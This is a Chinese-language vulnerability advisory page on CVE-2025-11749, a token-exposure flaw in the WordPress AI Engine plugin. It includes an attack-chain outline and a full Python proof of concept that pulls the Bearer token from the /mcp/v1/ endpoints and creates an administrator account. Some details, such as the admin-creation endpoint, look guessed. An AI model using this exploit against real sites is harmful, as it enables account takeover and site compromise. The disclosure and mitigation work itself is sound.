IPBUF安全漏洞报告
English
CVE-2025-11749 CVSS 9.8 严重

CVE-2025-11749 WordPress AI Engine插件敏感信息泄露漏洞

披露日期: 2025-11-05

漏洞信息

漏洞编号
CVE-2025-11749
漏洞类型
敏感信息泄露
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress AI Engine插件

相关标签

CVE-2025-11749敏感信息泄露WordPress插件漏洞AI EngineBearer Token暴露权限提升REST API安全无认证利用WordPress安全身份认证绕过

漏洞概述

AI Engine是WordPress平台上广受欢迎的AI功能增强插件,为网站提供智能对话、图像生成、内容优化等AI能力。该插件在3.1.3及之前所有版本中存在严重的安全漏洞,攻击者可无需任何认证即可获取有效的Bearer认证令牌。漏洞存在于插件的/mcp/v1/ REST API端点,当管理员启用'No-Auth URL'功能时,该API会在响应中返回敏感的Bearer Token值。攻击者获取令牌后可以冒充合法用户建立有效会话,进而执行创建管理员账户、修改站点内容、窃取数据库信息等高权限操作,最终可能导致整个WordPress站点被完全控制。此漏洞无需用户交互,攻击门槛低,且CVSS评分高达9.8,属于极其严重的危急漏洞。建议所有使用该插件的用户立即检查并采取修复措施。

技术细节

漏洞根源在于AI Engine插件的MCP(Machine Communication Protocol)功能模块中的REST API端点处理逻辑。在labs/mcp.php文件第226行附近,API端点/mcp/v1/在处理请求时存在安全缺陷:当管理员在插件设置中启用'No-Auth URL'选项后,API响应中会包含完整的Bearer Token认证字符串。攻击者只需构造如下简单HTTP请求即可获取令牌:GET /wp-json/mcp/v1/... 或类似的API路径。响应中返回的Bearer Token本应仅供授权用户使用,但由于访问控制缺失,任何匿名访问者都能获取。获取令牌后,攻击者可在后续请求中携带该令牌进行身份认证,利用插件的管理功能创建新的管理员账户,从而获得对整个WordPress站点的完全控制权。插件开发者在3.1.4版本中通过加强访问控制和移除敏感信息暴露修复了此漏洞。

攻击链分析

STEP 1
1
信息收集阶段:攻击者识别目标网站使用的WordPress AI Engine插件版本
STEP 2
2
探测漏洞:向目标站点的/mcp/v1/ REST API端点发送HTTP GET请求
STEP 3
3
令牌提取:从API响应中提取暴露的Bearer Token认证字符串
STEP 4
4
会话建立:使用提取的Bearer Token在后续API请求中进行身份认证
STEP 5
5
权限提升:调用管理接口创建新的管理员账户
STEP 6
6
完全控制:利用新建的管理员账户登录WordPress后台,执行任意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11749 PoC - WordPress AI Engine Token Exposure # Author: Security Research # Date: 2025-11-05 import requests import json import sys TARGET_URL = "http://target-wordpress-site.com" # Replace with target URL def exploit_cve_2025_11749(): """ Exploit for AI Engine plugin <= 3.1.3 Bearer Token exposure This PoC demonstrates how to extract the Bearer token from the vulnerable endpoint. """ print("[*] CVE-2025-11749 - WordPress AI Engine Token Exposure") print("[*] Target:", TARGET_URL) # Step 1: Query the vulnerable MCP API endpoint endpoints = [ "/wp-json/mcp/v1/", "/wp-json/mcp/v1/tools", "/?rest_route=/mcp/v1/", "/?rest_route=/mcp/v1/tools" ] bearer_token = None for endpoint in endpoints: url = TARGET_URL + endpoint print(f"\n[*] Testing endpoint: {url}") try: response = requests.get(url, timeout=10, verify=False) # Check for Bearer token in response if response.status_code == 200: data = response.json() print(f"[+] Response received from {endpoint}") # Search for Bearer token patterns in response response_text = response.text if 'Bearer' in response_text or 'bearer' in response_text: print("[!] Bearer token potentially found!") # Extract token from response for line in response_text.split('\n'): if 'Bearer' in line or 'bearer' in line: print(f"[+] Token line: {line.strip()}") bearer_token = line.strip() break # Also check JSON structure for token fields if isinstance(data, dict): for key, value in data.items(): if isinstance(value, str) and 'Bearer' in value: print(f"[+] Found Bearer token in field '{key}': {value}") bearer_token = value break except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") if bearer_token: print(f"\n[+] SUCCESS! Extracted Bearer Token: {bearer_token}") print("[!] This token can be used to create admin accounts and take over the site") return bearer_token else: print("\n[-] No Bearer token found. Target may not be vulnerable or patch applied.") return None def create_admin_with_token(token): """ Use the extracted token to create an admin account This demonstrates the privilege escalation impact """ print("\n[*] Attempting to create admin account using extracted token...") admin_creation_url = TARGET_URL + "/wp-json/mcp/v1/admin/create" headers = { "Authorization": token, "Content-Type": "application/json" } payload = { "username": "hacker_admin", "email": "[email protected]", "role": "administrator" } try: response = requests.post(admin_creation_url, json=payload, headers=headers) if response.status_code in [200, 201]: print("[+] Admin account created successfully!") print("[+] Full control of WordPress site achieved") return True except Exception as e: print(f"[-] Admin creation failed: {e}") return False if __name__ == "__main__": token = exploit_cve_2025_11749() if token: # Uncomment to execute privilege escalation # create_admin_with_token(token) pass

影响范围

AI Engine插件 <= 3.1.3(所有版本均受影响)

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)禁用AI Engine插件的MCP功能;2)在Web服务器层面限制对/wp-json/mcp/路径的访问;3)修改管理员密码并启用双因素认证;4)检查并删除可疑的管理员账户;5)审查站点日志查找异常活动。建议尽快升级到插件最新版本以彻底消除漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表